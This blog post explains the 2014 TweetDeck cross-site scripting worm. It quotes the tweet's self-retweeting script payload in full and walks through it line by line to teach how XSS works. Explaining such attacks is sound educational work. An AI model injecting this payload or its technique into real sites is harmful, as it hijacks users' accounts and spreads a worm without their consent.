My All-Time Favorite Demonstration of a Cross-Site Scripting Attack
Tags: xss, security, javascript, html
Published: 2017-05-04 17:59:41

---
title: My All-Time Favorite Demonstration of a Cross-Site Scripting Attack
published: true
description: This is a glorious story from a few years ago.
tags: xss, security, javascript, html
---

This is a glorious story from a few years ago. If you haven't read about it before, I'm about to tell you. If you already know about this, I suggest you share it. I think it's both hilarious and is a really great in-the-wild demonstration of cross-site scripting vulnerabilities.

Firstly, the [definition of cross-site scripting](https://www.acunetix.com/websitesecurity/cross-site-scripting/)

> Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application.

If this is not clear, why don't we jump right into the Tweetdeck example. It should clarify things.

<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">&lt;script class=&quot;xss&quot;&gt;$(&#39;.xss&#39;).parents().eq(1).find(&#39;a&#39;).eq(1).click();$(&#39;[data-action=retweet]&#39;).click();alert(&#39;XSS in Tweetdeck&#39;)&lt;/script&gt;â™¥</p>&mdash; *andy (@derGeruhn) <a href="https://twitter.com/derGeruhn/status/476764918763749376">June 11, 2014</a></blockquote>

Tweetdeck is a third-party Twitter platform, since acquired by Twitter for $40 million, that allows Twitter power users to consume a more customized Twitter feed. And at the time that this tweet was made, it also allowed browsers to execute the content of a tweet as code. ðŸ˜

Let's dive into the tweet's code.

```html
<script class="xss">
```
This is the opening of a script tag with the class "xss". It's a plain old HTML node that will now be executed in the browser.

```javascript
 $('.xss')
```
This is a [jQuery](https://jquery.com/) selector taking advantage of the fact that jQuery was already included in the Tweetdeck page to select the tag by the class of "xss". This attack could have been carried out without the presence of jQuery, but it made it that much easier.

```javascript
.parents().eq(1)
```
This command selects a parent element of the script tag. Presumably this is the tweet's `<div>`. 

```javascript
.find('a').eq(1).click()
```
This command selects the second child of the selected parent that is an anchor tag and clicks it.

```javascript
$('[data-action=retweet]').click()
```
This command selects an element with the data attribute of `data-action=retweet` and clicks it.

```javascript
alert('XSS in Tweetdeck')
```
All the damage has already been done, but for good measure, an alert dialogue has been triggered.

```html
</script>â™¥
```
And because 140 characters is _way more_ than enough to execute this attack, the script has been closed and sealed with a heart. â¤ï¸

When this tweet's `<div>` was rendered in the Tweetdeck browser, the code would execute and the tweet itself would get retweeted. This would cause it to end up in more Tweetdeck clients and the worm would simply keep worming. This is what it means to go viral and demonstrates the power of a cross-site scripting attack. There are a lot of stories of computer viruses that spread in similar ways since the dawn of network computing. 

Let's take another look at the tweet:

<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">&lt;script class=&quot;xss&quot;&gt;$(&#39;.xss&#39;).parents().eq(1).find(&#39;a&#39;).eq(1).click();$(&#39;[data-action=retweet]&#39;).click();alert(&#39;XSS in Tweetdeck&#39;)&lt;/script&gt;â™¥</p>&mdash; *andy (@derGeruhn) <a href="https://twitter.com/derGeruhn/status/476764918763749376">June 11, 2014</a></blockquote>

I don't know about you, but I don't have a lot of tweets that have achieved those kinds of retweet numbers.

Happy coding. `</script>â¤ï¸`